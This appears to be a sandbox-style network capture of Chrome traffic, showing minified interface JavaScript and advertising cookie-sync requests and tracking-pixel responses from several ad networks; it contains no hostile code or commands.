n=t.style[this.transformer].trim().split(" "),r=e+"(",i=0;return n.forEach(function(t){-1!==t.indexOf(r)&&(i=parseFloat(t.replace(/[^\d^.]*/g,"")))}),i}},{key:"setTransformProper
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 30 2c 73 63 61 6c 65 59 3a 74 7d 7d 7d 2c 7b 6b 65 79 3a 22 73 63 61 6c 65 58 22 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 77 69 64 74 68 3d 74 68 69 73 2e 6f 67 2e 77 69 64 74 68 2a 74 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 77 69 64 74 68 2f 74 68 69 73 2e 6f 67 2e 77 69 64 74 68 7d 7d 2c 7b 6b 65 79 3a 22 73 63 61 6c 65 59 22 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 68 65 69 67 68 74 3d 74 68 69 73 2e 6f 67 2e 68 65 69 67 68 74 2a 74 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 68 65 69 67 68 74 2f 74 68 69 73 2e 6f 67 2e 68 65 69 67 68 74 7d 7d 2c 7b 6b 65 79 3a 22 78 22 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 0,scaleY:t}}},{key:"scaleX",set:function(t){this.width=this.og.widtht},get:function(){return this.width/this.og.width}},{key:"scaleY",set:function(t){this.height=this.og.heightt},get:function(){return this.height/this.og.height}},{key:"x",set:function(t
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 67 68 74 2c 31 30 29 7d 7d 2c 7b 6b 65 79 3a 22 61 6c 70 68 61 22 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 73 74 79 6c 65 3d 7b 6f 70 61 63 69 74 79 3a 74 7d 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 74 68 69 73 2e 64 69 76 2e 73 74 79 6c 65 2e 6f 70 61 63 69 74 79 29 7d 7d 2c 7b 6b 65 79 3a 22 76 69 73 69 62 6c 65 22 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 21 31 3d 3d 3d 74 3f 22 6e 6f 6e 65 22 3a 22 62 6c 6f 63 6b 22 3b 74 68 69 73 2e 73 74 79 6c 65 3d 7b 64 69 73 70 6c 61 79 3a 65 7d 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 6e 6f 6e 65 22 21 3d 3d 74 68 69 73 2e 64 69 76 2e 73 74 79 6c 65 2e 64 69 73 70 6c Data Ascii: ght,10)}},{key:"alpha",set:function(t){this.style={opacity:t}},get:function(){return parseFloat(this.div.style.opacity)}},{key:"visible",set:function(t){var e=!1===t?"none":"block";this.style={display:e}},get:function(){return"none"!==this.div.style.displ
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 68 69 73 2e 64 69 76 2e 73 74 79 6c 65 5b 74 68 69 73 2e 74 72 61 6e 73 66 6f 72 6d 65 72 5d 3d 74 68 69 73 2e 73 65 74 54 72 61 6e 73 66 6f 72 6d 50 72 6f 70 65 72 74 79 28 74 68 69 73 2c 22 72 6f 74 61 74 65 5a 22 2c 22 64 65 67 22 2c 74 29 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 54 72 61 6e 73 66 6f 72 6d 50 72 6f 70 65 72 74 79 28 74 68 69 73 2e 64 69 76 2c 22 72 6f 74 61 74 65 5a 22 29 7d 7d 2c 7b 6b 65 79 3a 22 77 65 62 53 63 61 6c 65 22 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 64 69 76 2e 73 74 79 6c 65 5b 74 68 69 73 2e 74 72 61 6e 73 66 6f 72 6d 65 72 5d 3d 74 68 69 73 2e 73 65 74 54 72 61 6e 73 66 6f 72 6d 50 72 6f 70 65 72 74 79 28 74 68 69 73 2c 22 73 63 61 6c 65 Data Ascii: his.div.style[this.transformer]=this.setTransformProperty(this,"rotateZ","deg",t)},get:function(){return this.getTransformProperty(this.div,"rotateZ")}},{key:"webScale",set:function(t){this.div.style[this.transformer]=this.setTransformProperty(this,"scale

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.4	50141	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	652	OUT	GET /cksync.php?cs=1&type=55953&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b&_origin=0&gdpr=0&gdpr_consent=&redir=true HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
2024-01-10 23:27:20 UTC	679	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1;Expires=Wed, 24 Jan 2024 23:27:20 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:20 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:20 GMT Connection: close
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:20 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.4	50198	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	504	OUT	GET /iu/api/res/1.2/IkFljGiNauQREEGi3lrW9w--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20190610/500x500/st_johns_ny_wbgs.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:20 UTC	1293	IN	HTTP/1.1 200 OK Content-Length: 2039 Content-Type: image/png Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 432636264283339044640348325409491145099,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 432636264283339044640348325409491145099,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Etag: "ad9a7b6adb52cd97851d9d6cc6a97021" Expiration: expiry-date="Mon, 27 May 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Tue, 28 Nov 2023 02:53:14 GMT Server: ATS Surrogate-Reporting: width=50,height=50,bytes=2039,owidth=500,oheight=500,obytes=7629 Timing-Allow-Origin: * Accept-Ranges: bytes Date: Fri, 29 Dec 2023 01:03:50 GMT X-Served-By: cache-lga21936-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1703811830.249147,VS0,VE1 Age: 1117410 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-lga21936-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"
2024-01-10 23:27:20 UTC	91	IN	Data Raw: 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 09 70 48 59 73 00 00 17 11 00 00 17 11 01 ca 26 f3 3f 00 00 00 07 74 49 4d 45 07 e7 0b 1c 02 35 0d 75 8e 32 c9 00 00 07 96 49 44 41 54 68 de d5 5a 09 54 8d 69 18 16 25 8a 56 d9 93 65 66 1a 83 84 16 61 92 32 65 37 42 0e 63 c9 8c 7d 2d 4c 63 5f 26 e3 34 33 96 a1 8e c1 a0 d3 19 51 68 44 76 4a 19 c6 31 c6 4c d6 41 54 ca d2 34 4c 94 70 bb ea 9d f7 f9 fd d7 b9 dd fe 7b 2b ae fe eb 9e f3 9c d3 fd ef b7 3d ff fb 7d ef fb bc ef 57 b5 6a af f1 21 a2 3a 8c b1 8c d8 a2 22 e5 95 dc 87 79 77 1f 17 3c c9 e4 ef 89 8c 05 0c 5f 1d f8 b0 9a dc 1f 5e 44 0d c6 ac bb 39 0f 1e 86 ae 89 22 97 de e3 a9 56 cb 9e 64 dc ac 87 00 07 b7 a1 34 69 ee 2a 5a bd 69 a7 24 76 26 9c e0 Data Ascii: PNGIHDR22?pHYs&?tIME5u2IDAThZTi%Vefa2e7Bc}-Lc_&43QhDvJ1LAT4Lp{+=}Wj!:"yw<_^D9"Vd4i*Zi$v&
2024-01-10 23:27:20 UTC	739	IN	Data Raw: 51 0c 52 16 8e bd c9 cb 4e 5a 2d bb f1 38 4e 3d c7 be f2 5a 06 41 04 88 66 b9 02 97 aa ee 00 10 53 0e 49 c4 93 03 fc 0c 5e 2a 78 69 84 e1 11 51 59 e6 fb da 2e 34 97 f7 ff 46 1d 15 c8 c9 ec 20 b0 c0 3f 2e 5c 7b c1 e3 e6 1a 1c 91 8a 20 9e 65 0c 72 1a 24 69 fc d9 55 e5 5a 4b 1b 91 93 95 20 81 c2 03 ea 5d e6 ef f9 d2 a5 6b e9 cf c5 44 cb 30 88 60 2b 95 57 c8 06 70 56 50 89 c7 c2 b6 c4 1c 80 35 e6 54 5c c6 bf 05 22 ed 58 13 6d e7 83 ad 02 52 50 64 81 a8 b8 1f 97 48 81 61 05 04 bf 46 9c bf 98 36 f7 a1 88 c8 5f 40 62 33 74 9a ac 44 b4 49 14 95 50 f4 b4 eb 46 01 ac af 90 77 74 e3 bf f1 4c f5 7b ab 2e c3 41 e2 b4 2a 68 ca 46 e4 fa ad 2c 3a 9a 72 ae 0c 30 19 ac a2 29 fa d4 61 6a ff 8a c8 3e 8d 71 ab 9c 88 19 a3 91 04 fe c6 64 d8 3e ba ce 88 1f 4b 72 83 20 a2 83 e0 Data Ascii: QRNZ-8N=ZAfSI^xiQY.4F ?.\{ er$iUZK ]kD0`+WpVP5T\"XmRPdHaF6_@b3tDIPFwtL{.AhF,:r0)aj>qd>Kr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.4	50175	104.18.36.155	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	735	OUT	GET /crum?cm_dsp_id=57&external_user_id=968062845637553879 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:20 UTC	993	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:20 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8438b0a77f8f3886-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:20 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:20 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GR9m61h8Gd3pFpn7%2FlM10HtWGixh7bQDRb%2BFnSsH4NwSb%2FA%2FFq%2FBm5F%2B6x3bkSz3z9svSjOsa%2F30x3B5CEXq2QunrfSuWvy6ctbBSssjPSiVYhJ4POrTotbgSvq6cQBcMwxdGBTR6b4%2Bwg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.4	50188	104.18.36.155	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	749	OUT	GET /crum?cm_dsp_id=90&external_user_id=A342B32A0BAA4852AA53FE42CB7195F6 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:20 UTC	995	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:20 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8438b0a80d4182ff-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:20 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:20 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6zQBXxtJQQ%2Fed%2FHWTrfn%2FXiE%2B8PWt35KVOCJGtxNh3Oc6p%2BLhfHdS%2FdPEYIJQRRmDKwOf%2BiiBreOtATa43ZFYbS86xGN12UEausCdQ25WEOQBfY4AiZvwVnS%2BlYqooiiKs5RXeAXIOx6%2BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.4	50184	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	739	OUT	GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=son&refUrl=&vid=49292349683479308310180275000V10&ovsid=34d855fd-fbdc-4f5b-9260-4fff223b8b66&axid_e= HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1
2024-01-10 23:27:20 UTC	679	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1;Expires=Mon, 08 Jul 2024 23:27:20 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:20 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:20 GMT Connection: close
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:20 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.4	50181	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	836	OUT	GET /cksync.php?cs=1&type=sov&ovsid=H-G_bLZHIhhIpR6ZTj2OFYm3&axid_e= HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
2024-01-10 23:27:20 UTC	667	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1;Expires=Mon, 08 Jul 2024 23:27:20 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:20 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:20 GMT Connection: close
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:20 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.4	50183	185.184.8.90	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	632	OUT	GET /cm-notify?pi=aol&_origin=0&gdpr=0&gdpr_consent=&gpp=&gpp_sid= HTTP/1.1 Host: creativecdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:20 UTC	760	IN	HTTP/1.1 302 Found date: Wed, 10 Jan 2024 23:27:20 GMT vary: Accept-Encoding set-cookie: u=4eSxQcp0Lf90A16Ellma;Path=/;Domain=.creativecdn.com;Expires=Thu, 09-Jan-2025 23:27:20 GMT;Max-Age=31536000;Secure;SameSite=None set-cookie: g=4eSxQcp0Lf90A16Ellma_1704929240349;Path=/;Domain=.creativecdn.com;Expires=Thu, 09-Jan-2025 23:27:20 GMT;Max-Age=31536000;Secure;SameSite=None set-cookie: ts=1704929240;Path=/;Domain=.creativecdn.com;Expires=Thu, 09-Jan-2025 23:27:20 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" location: https://creativecdn.com/cm-notify?pi=aol&_origin=0&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&tc=1 content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.4	50190	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	695	OUT	GET /cksync.php?cs=1&type=crt&ovsid=94a96463-4da4-468a-ab35-7f2fcadb375f&gdpr=0&gdpr_consent=&us_privacy=&gpp= HTTP/1.1 Host: contextual.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-c-ts=1704929238
2024-01-10 23:27:20 UTC	850	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1;Expires=Fri, 09 Feb 2024 23:27:20 GMT;path=/;domain=.media.net; sameSite=none; secure=true Set-Cookie: data-c-ts=1704929240;Expires=Fri, 09 Feb 2024 23:27:20 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:20 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:20 GMT Connection: close
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:20 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.4	50189	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	881	OUT	GET /cksync.php?cs=1&type=zem&ovsid=v79p4FQcaoSFEzqKnYP- HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-c-ts=1704929238
2024-01-10 23:27:20 UTC	629	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ze=v79p4FQcaoSFEzqKnYP-~~1;Expires=Thu, 09 Jan 2025 23:27:20 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:20 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:20 GMT Connection: close
